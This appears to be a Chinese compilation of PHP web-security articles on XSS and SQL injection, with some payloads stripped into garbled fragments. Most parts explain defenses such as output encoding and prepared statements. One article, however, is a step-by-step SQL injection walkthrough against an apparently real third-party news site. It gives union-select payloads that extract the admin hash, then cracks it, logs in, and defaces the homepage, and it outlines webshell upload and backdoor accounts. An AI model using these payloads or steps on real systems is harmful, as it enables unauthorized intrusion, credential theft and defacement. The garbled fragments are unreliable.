使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全
“nggu”通过精心收集,向本站投稿了5篇使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全,下面是小编给大家带来的使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全,以供大家参考,我们一起来看看吧!
篇1:使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全
使用PHP 构建的Web 应用如何避免XSS 攻击
Web 2.0 的发展为网络用户的互动提供了更多机会,用户通过在论坛发表评论,或是在博客发表留言都可能有意或无意输入一些破坏性的内容,从而造成网页不能正常显示,影响其它用户的使用。XSS 全称为Cross Site Scripting,因为CSS 已经用作样式表的简称,故称为XSS。XSS 是一种常见的网站攻击的方法。其原理是通过在网页的输入框输入一些恶意的内容,通常是JavaScript. 脚本片段,而这些恶意输入在提交之后并重新读回到客户端时,浏览器会解释执行这些恶意的脚本内容,从而影响网页的正常显示。
本文首先简单介绍开发测试人员如何对Web 应用进行XSS 漏洞测试,如何借助工具绕过客户端JavaScript. 校验输入恶意数据;然后针对使用PHP 语言构建的Web 站点,从在输出端对动态内容进行编码、以及在服务器端对输入进行检测两方面介绍如何避免恶意的XSS 攻击。
对Web 应用进行XSS 漏洞测试
测试路径
对WEB 应用进行XSS 漏洞测试,不能仅仅局限于在WEB 页面输入XSS 攻击字段,然后提交。绕过JavaScript. 的检测,输入XSS 脚本,通常被测试人员忽略。下图为XSS 恶意输入绕过JavaScript. 检测的攻击路径。
图1. XSS 攻击测试路径– 绕过JavaScript 校验
常见的XSS 输入
XSS 输入通常包含JavaScript. 脚本,如弹出恶意警告框:
XSS 输入也可能是HTML 代码段,譬如:
网页不停地刷新
嵌入其它网站的链接
XSS (Cross Site Scripting) Cheat Sheet维护了一份常见的XSS 攻击脚本列表,可用来作为检测WEB 应用是否存在XSS 漏洞的测试用例输入。初次接触XSS 攻击的开发人员可能会对列表提供的一些XSS 输入不是很理解,本文第二部分将会针对不同代码上下文的XSS 输入作进一步的解释。
测试工具
很多工具可以在浏览器发送Get/Post 请求前将其截取,攻击者可以修改请求中的数据,从而绕过JavaScript. 的检验将恶意数据注入服务器。以下是一些常用的截取HTTP 请求的工具列表。
Paros proxy (www.parosproxy.org)
Fiddler (www.fiddlertool.com/fiddler)
Burp proxy (www.portswigger.net/proxy/)
TamperIE (www.bayden.com/dl/TamperIESetup.exe)
笔者曾经使用TamperIE 对WEB 应用进行安全性测试。TamperIE 小巧易用,能够截取IE 浏览器发送的Get/Post 请求,甚至能绕过SSL 加密。不过TamperIE + IE7 工作不稳定。IE7 提供了对IPV6 的支持,如果你并不计划测试你的Web 应用对IPV6 的支持,建议还是使用TamperIE + IE6 的组合。
如图2所示: TamperIE 绕过客户端浏览器JavaScript. 的校验,在POST 请求提交时将其截取,用户可以任意修改表单输入项name 和message 的值,譬如将message 的值修改为 “”,然后点击”Send altered data” 按钮,将修改后的恶意数据发送给Web 服务器。
图2. 使用TamperIE 截取Post 请求
在输出端对动态内容进行编码
对一个Web 应用而言,其动态内容可能来源于用户输入、后台数据库、硬件状态改变或是网络信息等。动态内容特别是来自用户输入的动态内容很有可能包含恶意数据,从而影响网页的正常显示或是执行恶意脚本。将动态内容安全地显示在浏览器端与动态内容所处的上下文背景有关,譬如动态内容处在HTML 正文、表单元素的属性、或是JavaScript. 代码段中。对于一个基于PHP 语言的Web 应用,当执行 “echo”、“print”、“printf”、“
使用PHP 的htmlspecialchars 显示HTML 特殊字符
从上文列举的XSS 恶意输入可以看到,这些输入中包含了一些特殊的HTML 字符如”<“、”>“。当传送到客户端浏览器显示时,浏览器会解释执行这些HTML 或JavaScript. 代码而不是直接显示这些字符串。< > & “ 等字符在HTML语言中有特殊含义,对于用户输入的特殊字符,如何直接显示在网页中而不是被浏览器当作特殊字符进行解析?
HTML字符实体由& 符号、实体名字或者# 加上实体编号、分号三部分组成。以下为HTML 中一些特殊字符的编码。有的字符实体只有实体编号,没有对应的实体名字,譬如单引号。
表1. 一些HTML 特殊字符的实体编码
显示实体名字实体编号<<>>&&&“”“‘N/A'PHP 提供了 htmlspecialchars() 函数可以将HTML 特殊字符转化成在网页上显示的字符实体编码。这样即使用户输入了各种HTML 标记,在读回到浏览器时,会直接显示这些HTML 标记,而不是解释执行。htmlspecialchars() 函数可以将以下五种HTML 特殊字符转成字符实体编码:
& 转成&
“ 转成”
< 转成<
> 转成>
‘ 转成'
当直接调用 htmlspecialchars($str) 时, & “ < > 被转义。
当设置ENT_QUOTES 标记时, 即调用 htmlspecialchars($str, ENT_QUOTES) 时,单引号也被转义。
当设置ENT_NOQUOTES 标记时,单引号和双引号都不会被转义。即调用 htmlspecialchars($str, ENT_NOQUOTES) 时,只有& < > 被转义。
不同背景下的动态内容的XSS 攻击及解决方案
XSS 攻击输入与动态内容所处的代码背景相关,譬如动态内容为表单元素属性的值、位于HTML 正文、或是Javascript. 代码段中等等。
HTML标记的属性为动态内容
Web 应用中,”input“、”style“、”color“ 等HTML 标记的属性都可能为动态内容,其中”input“ 标记的”value“ 属性通常为动态内容。
例子1
value=”
攻击XSS输入
Hello“>将动态内容替换
将 $msg 替换为恶意XSS 输入:
value=”Hello“>”>
例子2
maxlength=8 value=
攻击XSS 输入
Hello nmouseover=evil_script()将动态内容替换
将 $msg 替换为恶意XSS 输入:
maxlength=8 value=Hello nmouseover=evil_script()>
分析
从例子1 可以看到其XSS攻击输入中包含了HTML 特殊字符< > “
从例子2 可以看到其XSS 攻击输入中没有包含上节中提到的五种HTML 字符,但是”value“属性值没有使用双引号包围,
解决方案
调用 htmlspecialchars($str, ENT_QUOTES) 将以下5 种HTML 特殊字符< > &‘ “ 转义;同时使属性值被双引号包围。譬如:
maxlength=8 value=”
注意事项
将input 的value 进行转义,必须考虑显示和存储数据的一致性问题,即显示在浏览器端和存储在服务器端后台的数据可能因为转义而变得不一致。譬如存储在服务器端的后台原始数据包含了以上5 种特殊字符,但是没有转义,为了防止XSS 攻击,在浏览器端输出时对HTML 特殊字符进行了转义:
1. 当再度将表单提交时,存储的内容将会变成转义后的值。
2. 当使用JavaScript. 操作表单元素,需要使用到表单元素的值时,必须考虑到值可能已经被转义。
HTML文本为动态内容
例子
欢迎:攻击XSS输入
将动态内容替换
将 $welcome_msg 替换为恶意XSS 输入:
欢迎:分析
在HTML 正文背景下,< > 字符会引入HTML 标记,& 可能会认为字符实体编码的开始,所以需要将< > & 转义
解决方案
为简洁起见,直接使用 htmlspecialchars() 将5 种HTML 特殊字符转义,如:
欢迎:URL的值为动态内容
Script/Style/Img/ActiveX/Applet/Frameset… 等标记的src 或href 属性如果为动态内容,必须确保这些URL 没有指向恶意链接。
例子1
的UTF-7 编码为:+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-如果 +ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4- 作为动态内容位于网页的顶端并传送到浏览器端,IE 会认为此网页是UTF-7 编码,从而使网页不能正常显示。
解决方案
显式定义网页的字符集编码,譬如
动态内容为JavaScript事件处理函数的参数
JavaScript. 事件处理函数如onClick/onLoad/onError/onMouseOver/ 的参数可能包含动态内容。
例子
攻击XSS输入
foo“);evil_script(”将动态内容替换
HTML 解析器会先于JavaScript. 解析器解析网页,将 $target_url 替换为恶意XSS 输入:
动态内容位于JavaScript 代码段中
例子
攻击XSS输入1
Hello'; evil_script(); //将动态内容替换
将 $welcome_msg 替换为恶意XSS 输入:
攻击XSS输入2
Hello分析
如上文所示,在JavaScript. 背景中使用动态内容需要非常谨慎。一般情况下,尽量避免或减少在Javascript. 的背景下使用动态内容,如果必须使用动态内容,在开发或代码审计时必须考虑这些动态内容可能的取值,是否会导致XSS 攻击。
建立PHP库函数校验输入
Web 开发人员必须了解,仅仅在客户端使用JavaScript. 函数对非法输入进行检测过滤对于构建安全的WEB 应用是不够的。如上文所述,攻击者可以轻易地借助工具绕过JavaScript. 校验甚至SSL 加密输入恶意数据。在输出端对动态内容进行编码也只能起到一种双重保护的作用,更重要的应该在服务器端对输入进行校验。PHP 提供了strpos()、strstr()、preg_match() 等函数可用于检测非法字符和字符串;preg_replace() 函数可用于替换非法字符串。OWASP PHP Filters开源项目提供了一些PHP 库函数用于过滤非法输入可作为参考。一些常见的检测和过滤包括:
输入是否仅仅包含合法的字符;
输入如果为数字,数字是否在指定的范围;
输入字符串是否超过最大长度限制;
输入是否符合特殊的格式要求,譬如email 地址、IP 地址;
不同的输入框在逻辑上存在的耦合和限制的关系;
除去输入首尾的空格;
总结
Web 应用的安全性是一个很重要、覆盖范围很广泛的主题。为了防止常见的XSS 的攻击,Web 开发人员必须明白不能仅仅只在客户端使用JavaScript. 对输入进行检测、过滤;同时还应建立服务器端的输入校验、输出编码库函数;在服务器端检测、过滤输入;根据动态内容所处的背景将特殊字符进行编码后再传送给浏览器端显示。
篇2:Web安全之SQL注入攻击脚本安全
前言: ①这个晨讲我构思了两个星期,但是之前电脑坏了,一直拖到昨天才开始着手准备,时间仓促,
能力有限,不到之处请大家批评指正;
②我尽量将文中涉及的各种技术原理,专业术语讲的更加通俗易懂,但这个前提是诸位能看得懂
基本的 SQL 语句(想想海璐姐你就懂了);
③本晨讲形式为PPT+个人演讲+实际演示,但因为TTS征文限制,少去了很多效果,深表遗憾;
④原创 文章 ,达内首发,希望喜欢的同学,多多支持!如有疑问致信:chinanala@gmail.com
=============以下是晨讲内容脚本,实战演练部分配以文字说明=============
大家早上好!今天由我给大家带来《 web 安全之 SQL注入 篇》系列晨讲,首先对课程进行简单介绍,SQL注入篇一共分为三讲:
第一讲:“纸上谈兵:我们需要在本地架设注入环境,构造注入语句,了解注入原理。”;
第二讲:“实战演练:我们要在 互联网 上随机对网站进行友情检测,活学活用,举一反三”;
第三讲:“扩展内容:挂马,提权,留门。此讲内容颇具危害性,不予演示。仅作概述”。
这个主题涉及的东西还是比较多的,结合我们前期所学。主要是让大家切身体会一下,管中窥豹,起到知己知彼的作用。千里之堤溃于蚁穴,以后进入单位,从事相关程序开发,一定要谨小慎微。
问:大家知道骇客们攻击网站主要有哪些手法?
SQL注入,旁注,XSS跨站,COOKIE欺骗,DDOS,0day 漏洞,社会工程学 等等等等,只要有数据交互,就会存在被入侵风险!哪怕你把网线拔掉,物理隔绝,我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上,我就爬窗户;你把窗户关上,我就翻院墙;你把院墙加高,我就挖地洞。。。道高一尺魔高一丈,我始终坚信计算机不存在绝对的安全,你攻我防,此消彼长,有时候,魔与道只在一念之间。
下面,就让我们一起推开计算机中那另一扇不为人知的门---
一、纸上谈兵
(一)了解注入原理
为什么会存在sql注入呢,只能说SQL出身不好。因为sql作为一种解释型语言,在运行时是由一个运行时组件解释语言代码并执行其中包含的指令的语言。基于这种执行方式,产生了一系列叫做代码注入(code injection)的漏洞 。它的数据其实是由程序员编写的代码和用户提交的数据共同组成的。程序员在web开发时,没有过滤敏感字符,绑定变量,导致攻击者可以通过sql灵活多变的语法,构造精心巧妙的语句,不择手段,达成目的,或者通过系统报错,返回对自己有用的信息。
我们在学JDBC和SQL时,讲师跟我们说 Statement不能防止SQL注入, PreparedStatement能够防止SQL注入. 没错, 这句话是没有问题的, 但到底如何进行SQL注入?怎么直观的去了解SQL注入?这还是需要花一定的时间去实验的.预编译语句 java.sql.PreparedStatement ,扩展自 Statement,不但具有 Statement 的所有能力而且具有更强大的功能。不同的是,PreparedStatement 是在创建语句对象的同时给出要执行的sql语句。这样,sql语句就会被系统进行预编译,执行的速度会有所增加,尤其是在执行大语句的时候,效果更加理想。而且PreparedStatement中绑定的sql语句是可以带参数的。(二)架设注入环境
我们知道现在php作为一门网页编程语言真是风生水起,利用lamp(linux+apache+mysql+php)或者wamp(windows+apache+mysql+php)搭建网站环境,如 腾讯 的discuz、阿里的 phpwind 以及织梦的dedecms 等建站程序,占据了国内网站的半壁江山。那么我们今天即以这种架构为假象敌,首先是在本地架设wamp环境。需要用到的工具有:apache,mysql,php ,这几个组件可以单独下载安装,不过安装配置过程较为繁琐,还是建议新手直接从网上下载phpnow ,一个绿色程序,包含上述三个组件,傻瓜化操作就可以了。
然后呢,我们要建立 测试 用的数据表,编写html,php,文件,通过实例具体来演示通过SQL注入,登入后台管理员界面。这里,我之前已经写好了,大家看下:
1.创建一张试验用的数据表:
CREATE TABLE users (
id int(11) NOT NULL AUTO_INCREMENT,
username varchar(64) NOT NULL,
password varchar(64) NOT NULL,
email varchar(64) NOT NULL,
PRIMARY KEY (id),
UNIQUE KEY username (username)
);
添加一条记录用于测试:
INSERT INTO users (username,password,email)
VALUES('tarena',md5('admin'),'tarena@admin.com');
2.接下来,贴上登录界面的源代码:
Sql注入演示
当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)。
3.验证模块代码如下:
登录验证
$conn=@mysql_connect(“localhost”,'root','') or die(“数据库连接失败!”);;
mysql_select_db(“injection”,$conn) or die(“您要选择的数据库不存在”);
$name=$_POST['username'];
$pwd=$_POST['password'];
$sql=“select * from users where username='$name' and password='$pwd'”;
$query=mysql_query($sql);
$arr=mysql_fetch_array($query);
if(is_array($arr)){
header(“Location:manager.php”);
}else{
echo “您的用户名或密码输入有误,请重新登录!”;
}
?>
注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。
代码分析:如果,用户名和密码都匹配成功的话,将跳转到管理员操作界面(manager.php),不成功,则给出友好提示信息。
(三)演示注入手法
到这里,前期工作已经做好了,我们看这个登录界面,虽说是简陋了点。但具有一般登录认证的功能。普通人看这个不过是一个登录界面,但从攻击者角度来说,透过现象看本质,我们应当意识到隐藏在这个登录页面背后的是一条select 语句---
OK! 接下来将展开我们的重头戏:SQL注入
填好正确的用户名(tarena)和密码(admin)后,点击提交,将会返回给我们“欢迎管理员”的界面。
因为根据我们提交的用户名和密码被合成到SQL查询语句当中之后是这样的:
select * from users where username='tarena' and password=md5('admin')
很明显,用户名和密码都和我们之前给出的一样,肯定能够成功登陆。但是,如果我们输入一个错误的用户名或密码呢?很明显,肯定登入不了吧。恩,正常情况下是如此,但是对于有SQL注入漏洞的网站来说,只要构造个特殊的“字符串”,照样能够成功登录。
比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
select * from users where username='' or 1=1#' and password=md5('')
语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了,换句话说,以下的两句sql语句等价:
select * from users where username='' or 1=1#' and password=md5('')
等价于
select * from users where username='' or 1=1
因为1=1永远都是成立的,即where子句总是为真,将该sql进一步简化之后,等价如下select语句:
select * from users
没错,该sql语句的作用是检索users表中的所有字段
果不其然,我们利用万能语句(’or 1=1#)能够登录!看到了吧,一个经构造后的sql语句竟有如此可怕的破坏力,相信你看到这后,开始对sql注入有了一个理性的认识了吧~
二、实战演练
OK,前面铺垫了那么多,算是给大家科普了,
现在我们进行第二讲,实战演练。开始之前呢,有一个互动环节。现在请大家用自己的手机登录 www.guoshang.tk 这个网址,简单看下。待会等我们注入攻击之后,再次登录,好对比效果,对于sql注入攻击有一个更加直观的认识。
(一)积极备战
1。首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;
2。打开谷歌,寻找注入点。为了节省时间,这里我已经事先找好目标点
www.guoshang.tk;
谷歌搜索小技巧:筛选关键字:“inurl:/news/read.php?id=”
(二)狼烟四起
1。我们打开这个网址,一个新闻网站,,我们点击[百家争鸣]板块,这是一个国内外新闻速览的栏目,好多时政的帖子,我们点击一个,OK,现在进入单个帖子界面,首先我们看下当前帖子的URL地址,
www.guoshang.tk/news/read.php?id=50
可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
2。判断是否存在sql注入可能。在帖子地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。这两句什么意思呢? 一个恒等式,一个恒不等式,敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在我们可以确定此处是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问
www.guoshang.tk/news/read.php?id=50
时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=50
添加and 1=1后的SQL语句:
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
3。爆数据库。确定注入点仅仅意味着开始。现在,我们回到原先的帖子地址:
www.guoshang.tk/news/read.php?id=50
现在要判断数据库类型以及版本,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0
以下版本或者其他类型数据库。
4。爆字段。接着我们再构造如下语句来猜表中字段:
a. www.guoshang.tk/news/read.php?id=50 order by 10
返回错误页面,说明字段小于10
b. www.guoshang.tk/news/read.php?id=50 order by 5
返回正常页面,说明字段介于5和10之间
c. www.guoshang.tk/news/read.php?id=50 order by 7
返回错误页面,说明字段大于5小于7,可以判断字段数是6.下面我们再来确认一下
d. www.guoshang.tk/news/read.php?id=50 order by 6
返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
5。爆表.确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
6。爆用户名、密码。我们选择3 吧,OK,现在把3给替换掉,先查询下数据库库名,构造语句如下
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 root@localhost ,是个管理员权限。
现在我们再用同样的手法查询用户名,密码,构造语句如下:
www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7。md5解密。看到这里,有的同学可能会有点紧张。其实返回的这个是字符串密码经过32位md5加密后的值。上次李翊大帝给我们复习的时候 讲过加密与解密。也稍稍提到了md5 摘要算法,不可逆。话虽如此,现在互联网上crack md5 “解密”md5 的网站很多,这里我给解密加了引号,是因为其“解密”原理是 md5 值既然不能进行 逆向破解,但是同样的字符串经过同样的md5加密算法所生成的md5值是一样的,我们可以重新构造字符串生成md5值,然后对比两个值,如果一样则字符串一样。有人说,这种方法岂不是海底捞针,试到猴年马月去啊,其实不然,互联网云时代已经到来,大数据的信息挖掘以及分布式运算可以解决很多类似大运算量的问题。我们现在就要来对这个md5值进行比对,有好多网站提供这种服务,我们找一个。(www.md5.com.cn ) 这个网址,我们把这个值复制进去,然后点击“MD5 CRACK“,“解密”时间,视密码复杂度而定,OK,结果出来,(chinaadmin)
8。登录后台。现在我们已经拿到网站的管理员帐号密码,感谢上帝,一路顺风,但还不能高兴得太早。很多情况是你虽然拿到了钥匙,但是找不到门。下面我们就来找一下门,找之前要有个基本思路:
①先试下几个比较常用的目录;
②不行的话,因为这个论坛程序是dedecms5.6 ,所以我们就到 织梦官方,下载一套同样程序, 分析网站管理路径,或者直接百度“dedecms默认管理界面”即可,下载步骤可省略;
③手工不通,借力工具。明小子,啊D,御剑,都可以。
9。这里我们发现此网站依然采用程序默认管理路径:
www.guoshang.tk/dede
输入用户名 admin ,密码 chinaadmin 成功登入。
接下来,我们找到【核心】--【附件管理】--【文件式管理器】--这时我们可以看到网站根目录下所有目录以及文件,下标栏还有几个功能选项,我们可以看到网站首页文件【index.html】,点击【修改】,进入网页源代码编辑模式,删除所有源码(这招有点毒,劝告别改人家的源码,建议新建一个文件),留个言,表示到此一游。
卑鄙是卑鄙者的通行证,高尚是高尚者的墓志铭----- 北岛
现在是见证奇迹的时刻!请大家再次登录这个网站,有没有把你和你的小伙伴们惊呆呢?!
至此,战斗结束。若干年的免费住宿,一日三餐在向你招手。。。
三、扩展部分
鉴于此讲内容危害性较大,不予演示。只简述其流程。
(一)webshell提权
二讲结束,我们仅仅取得网站管理员权限,操作范围仅限当前网站。革命尚未成功,同志仍需努力。若想深入挖掘,则必须寻求更大突破。获得网站webshell .
①准备一个php网马。(网上泛滥成灾,自己下载。但要注重分辨,小心螳螂捕蝉黄雀在后);
②登录网站后台--【核心】--【附件管理】--【文件式管理器】--选择下标栏中的【文件上传
选项,上传我们实现准备的php网马文件(tarena.php);
③上传完毕,点击预览,记录下url地址。新建浏览器窗口,复制粘贴,打开之后,可以看到我们的网马成功挂载,输入密码tarena(密码可以自行用记事本打开修改编辑);
④进入网马管理界面,你会被那华丽丽的操作选项惊呆了!(取决网马水平,小马就别谈了,这里指的是大马)。从程序目录-网站根目录-各种强大的功能,乃至直接操作服务器磁盘文件,获取各种系统信息,跃马扬鞭,如入无人之境。其破坏力之大,令人咂舌!所以拜托各位亲,一定要盗亦有道,手下留情,除了靠法律监管,也要靠个人道德约束。
(二)暗修栈道
浴血奋战、攻城拔寨之后,怎样保卫来之不易的胜利果实?政治治大国若烹小鲜,入侵则烹小鲜如治大国。为长远计,我们需要建立一种长期和肉鸡保持联系的机制。而且还要很隐蔽,毕竟这是见不得光的。留后门的方法诸多:
①开启telnet服务
建立匿名账户,添加至超级管理员组;
②开启远程终端服务;
③自制木马触发事件...
因系统平台而异,这里不再赘言。
后注:①可能有读者会觉得此文很假,的确,鉴于篇幅问题,文中目标站点是我事先踩点过的,所以才
会一路凯歌,事实上很少会有站点会如此理想,但万变不离其宗,只是时间问题罢了。
②文中所述演示环境建立在同时满足两个条件下:
1.php配置文件中魔术引号已关闭;
2.建站程序中没有对用户输入字符进行过滤。
篇3:PHP安全防护web攻击实例介绍
网络安全是目前互联网的热门话题之一,作为个人用户的我们同样需要关注,做好防护。常见的Web攻击分为两类:一是利用Web服务器的漏洞进行攻击,如CGI缓冲区溢出,目录遍历漏洞利用等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入,跨站脚本攻击等。下面这篇文章主要介绍了PHP安全防护之Web攻击,需要的朋友可以参考,下面来一起看看吧。
SQL注入攻击(SQL Injection)
攻击者把SQL命令插入到Web表单的输入域或页面请求的字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。
常见的SQL注入式攻击过程类如:
1.某个Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码;
2.登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数;
例如:
$query = 'SELECT * from Users WHERE login = ' . $username . ' AND password = ' . $password;
3.攻击者在用户名字和密码输入框中输入'或'1'='1之类的内容;
4.用户输入的内容提交给服务器之后,服务器运行上面的代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:
SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1';
5.服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比;
6.由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。
如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询,他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能,欺骗系统授予访问权限。
系统环境不同,攻击者可能造成的损害也不同,这主要由应用访问数据库的安全权限决定。如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表
防范方法:
1.检查变量数据类型和格式
2.过滤特殊符号
3.绑定变量,使用预编译语句
跨网站脚本攻击(Cross Site Scripting, XSS)
攻击者将恶意代码注入到网页上,其他用户在加载网页时就会执行代码,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。这些恶意代码通常是JavaScript、HTML以及其他客户端脚本语言。
例如:
echo “欢迎您,”.$_GET['name'];
如果传入一段脚本 ,那么脚本也会执行。用这样的URL将会执行JavaScript的alert函数弹出一个对话框:常用的攻击手段有:
盗用cookie,获取敏感信息;
利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作;
利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动;
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
防范方法:使用htmlspecialchars函数将特殊字符转换成HTML编码,过滤输出的变量
跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF)
攻击者伪造目标用户的HTTP请求,然后此请求发送到有CSRF漏洞的网站,网站执行此请求后,引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在网站内执行特定的HTTP链接,从而达到攻击者的目的。
它与XSS的攻击方法不同,XSS利用漏洞影响站点内的用户,攻击目标是同一站点内的用户者,而CSRF 通过伪装成受害用户发送恶意请求来影响Web系统中受害用户的利益。
例如:
某个购物网站购买商品时,item参数确定要购买什么物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户链接
,那么如果目标用户不小心访问以后,购买的数量就成了100个
防范方法:
1、检查网页的来源
2、检查内置的隐藏变量
3、使用POST,不要使用GET,处理变量也不要直接使用$_REQUEST
相关阅读:网络安全事件:
一、英特尔处理器曝“Meltdown”和“Spectre漏洞”
1月,英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞,包括AMD、ARM、英特尔系统和处理器在内,几乎近发售的所有设备都受到影响,受影响的设备包括手机、电脑、服务器以及云计算产品。这些漏洞允许恶意程序从其它程序的内存空间中窃取信息,这意味着包括密码、帐户信息、加密密钥乃至其它一切在理论上可存储于内存中的信息均可能因此外泄。
二、GitHub 遭遇大规模 Memcached DDoS 攻击
202月,知名代码托管网站 GitHub 遭遇史上大规模 Memcached DDoS 攻击,流量峰值高达1.35 Tbps。然而,事情才过去五天,DDoS攻击再次刷新纪录,美国一家服务提供商遭遇DDoS 攻击的峰值创新高,达到1.7 Tbps!攻击者利用暴露在网上的 Memcached 服务器进行攻击。网络安全公司 Cloudflare 的研究人员发现,截止2018年2月底,中国有2.5万 Memcached 服务器暴露在网上 。
三、苹果 iOS iBoot源码泄露
2018年2月,开源代码分享网站 GitHub(软件项目托管平台)上有人共享了 iPhone 操作系统的核心组件源码,泄露的代码属于 iOS 安全系统的重要组成部分——iBoot。iBoot 相当于是 Windows 电脑的 BIOS 系统。此次 iBoot 源码泄露可能让数以亿计的 iOS 设备面临安全威胁。iOS 与 MacOS 系统开发者 Jonathan Levin 表示,这是 iOS 历史上最严重的一次泄漏事件。
四、韩国平昌冬季奥运会遭遇黑客攻击
2018年2月,韩国平昌冬季奥运会开幕式当天遭遇黑客攻击,此次攻击造成网络中断,广播系统(观众不能正常观看直播)和奥运会官网均无法正常运作,许多观众无法打印开幕式门票,最终未能正常入场。
五、加密货币采矿软件攻击致欧洲废水处理设施瘫痪
2018年2月中旬,工业网络安全企业 Radiflow 公司表示,发现四台接入欧洲废水处理设施运营技术网络的服务器遭遇加密货币采矿恶意软件的入侵。该恶意软件直接拖垮了废水处理设备中的 HMI 服务器 CPU,致欧洲废水处理服务器瘫痪 。
Radiflow 公司称,此次事故是加密货币恶意软件首次对关键基础设施运营商的运营技术网络展开攻击。由于受感染的服务器为人机交互(简称HMI)设备,之所以导致废水处理系统瘫痪,是因为这种恶意软件会严重降低 HMI 的运行速度。
web攻击
篇4:PHP漏洞全解(四)xss跨站脚本攻击WEB安全
XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style. Sheet)区别,缩写为XSS
跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限,
跨站脚本攻击的一般步骤:
1、攻击者以某种方式发送xss的http链接给目标用户
2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接
3、网站执行了此xss攻击脚本
4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息
5、攻击者使用目标用户的信息登录网站,完成攻击
当有存在跨站漏洞的程序出现的时候,攻击者可以构造类似 www.sectop.com/search.php?key=
防范方法:
利用htmlspecialchars函数将特殊字符转换成HTML编码
函数原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要编码的字符串
quote_style. 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。ENT_QUOTES,表示双引号和单引号都要转换,
ENT_NOQUOTES,表示双引号和单引号都不转换
charset 可选,表示使用的字符集
函数会将下列特殊字符转换成html编码:
& ----> &
“ ----> ”
' ----> '
< ----> <
> ----> >
$_SERVER[“PHP_SELF”]变量的跨站
在某个表单中,如果提交参数给自己,会用这样的语句
......
$_SERVER[“PHP_SELF”]变量的值为当前页面名称
例:
www.sectop.com/get.php
